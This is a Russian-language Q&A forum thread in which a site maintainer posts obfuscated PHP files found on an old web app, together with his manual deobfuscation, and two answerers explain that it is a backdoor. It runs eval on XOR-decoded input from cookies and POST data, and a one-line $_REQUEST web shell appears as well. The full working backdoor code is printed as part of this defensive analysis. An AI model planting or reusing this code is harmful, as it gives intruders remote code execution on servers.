@crarerw

Что делает этот код на PHP?

Клиенту требовалось перенести очень старое веб приложение с полетевшего сервера на хостинг. Занимаясь этим, обнаружил в папках проекта несколько скриптов с рандомными именами, типа 'kqf15q0s.php'. Их содержимое обфусцированно.

Содержимое подобного файла:
<?php
$fozepm = '_uHpc6v*okys\'4138riel#ngxtf0ad-b97m5';$xclzc = Array();$xclzc[] = $fozepm[29].$fozepm[14].$fozepm[26].$fozepm[33].$fozepm[26].$fozepm[14].$fozepm[4].$fozepm[16].$fozepm[30].$fozepm[15].$fozepm[5].$fozepm[29].$fozepm[31].$fozepm[30].$fozepm[13].$fozepm[19].$fozepm[27].$fozepm[35].$fozepm[30].$fozepm[16].$fozepm[26].$fozepm[5].$fozepm[27].$fozepm[30].$fozepm[35].$fozepm[26].$fozepm[13].$fozepm[32].$fozepm[19].$fozepm[35].$fozepm[5].$fozepm[16].$fozepm[5].$fozepm[29].$fozepm[26].$fozepm[29];$xclzc[] = $fozepm[2].$fozepm[7];$xclzc[] = $fozepm[21];$xclzc[] = $fozepm[4].$fozepm[8].$fozepm[1].$fozepm[22].$fozepm[25];$xclzc[] = $fozepm[11].$fozepm[25].$fozepm[17].$fozepm[0].$fozepm[17].$fozepm[19].$fozepm[3].$fozepm[19].$fozepm[28].$fozepm[25];$xclzc[] = $fozepm[19].$fozepm[24].$fozepm[3].$fozepm[20].$fozepm[8].$fozepm[29].$fozepm[19];$xclzc[] = $fozepm[11].$fozepm[1].$fozepm[31].$fozepm[11].$fozepm[25].$fozepm[17];$xclzc[] = $fozepm[28].$fozepm[17].$fozepm[17].$fozepm[28].$fozepm[10].$fozepm[0].$fozepm[34].$fozepm[19].$fozepm[17].$fozepm[23].$fozepm[19];$xclzc[] = $fozepm[11].$fozepm[25].$fozepm[17].$fozepm[20].$fozepm[19].$fozepm[22];$xclzc[] = $fozepm[3].$fozepm[28].$fozepm[4].$fozepm[9];foreach ($xclzc[7]($_COOKIE, $_POST) as $pmjvtha => $applpuv){function kagaipi($xclzc, $pmjvtha, $rvlwyfo){return $xclzc[6]($xclzc[4]($pmjvtha . $xclzc[0], ($rvlwyfo / $xclzc[8]($pmjvtha)) + 1), 0, $rvlwyfo);}function qpfmbb($xclzc, $nfqju){return @$xclzc[9]($xclzc[1], $nfqju);}function mdbqmci($xclzc, $nfqju){$etlcg = $xclzc[3]($nfqju) % 3;if (!$etlcg) {eval($nfqju[1]($nfqju[2]));exit();}}$applpuv = qpfmbb($xclzc, $applpuv);mdbqmci($xclzc, $xclzc[5]($xclzc[2], $applpuv ^ kagaipi($xclzc, $pmjvtha, $xclzc[8]($applpuv))));}


После ручной деобфускации:
<?php//fozepm
foreach(array_merge($_COOKIE, $_POST) as $key => $value)
{
	function f_3($arg)
	{
		$res = count($arg) % 3;
		if (!$res)
		{
			eval($arg[1]($arg[2]));
			exit();
		}
	}

	$value = @pack('H*', $value);
	f_3(explode('#', $value ^ 	
		substr(
			str_repeat(
				$key . 'd1f7f1c8-36db-4e05-8f60-5f49e5686dfd',
				(strlen($value) / strlen($key)) + 1
				),
			0,
			strlen($value)
			)
		));
}


Залиты эти файлы были в 2017 году. Их два различных, обфусцированных одним способом, но в разные итоговые файлы. Код в них после деобфускации одинаковый, но GUIDы разные. Вопрос - что делает этот код и откуда он? Подозреваю, что это залитый после взлома скрипт для запуска на исполнение записанного в куки шелла, но разобрать его по винтикам не смог. Помимо запуска шелла он может делать что нибудь ещё?

upd: в одном из таких файлов, обнаружилась такая строчка, помещённая перед обфусцированным кодом:
$_REQUEST["aaf"]?$_REQUEST["aaf"]($_REQUEST["c"]):null;

Это уже похоже на чисто шелл.
  • Вопрос задан
  • 525 просмотров
Решения вопроса 1
SagePtr
@SagePtr
Еда - это святое
Очень сильно похоже на бэкдор, особенно учитывая это:
eval($arg[1]($arg[2]));
и тот факт, что первоначально аргументы, отправляемые в функцию, собираются из массивов $_COOKIE, $_POST, которые могут быть отправлены любым пользователем.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 1
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
А что тут разбирать то? Берутся все пары имя => значение из куков и поста, значения преобразуются из шестнадцатеричной записи в бинарную, ксорятся с ключом, делятся на подстроки по # и, если количество элементов в массиве получилось кратно трём, то идёт попытка через eval выполнить второй элемент массива с аргументом из третьего.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы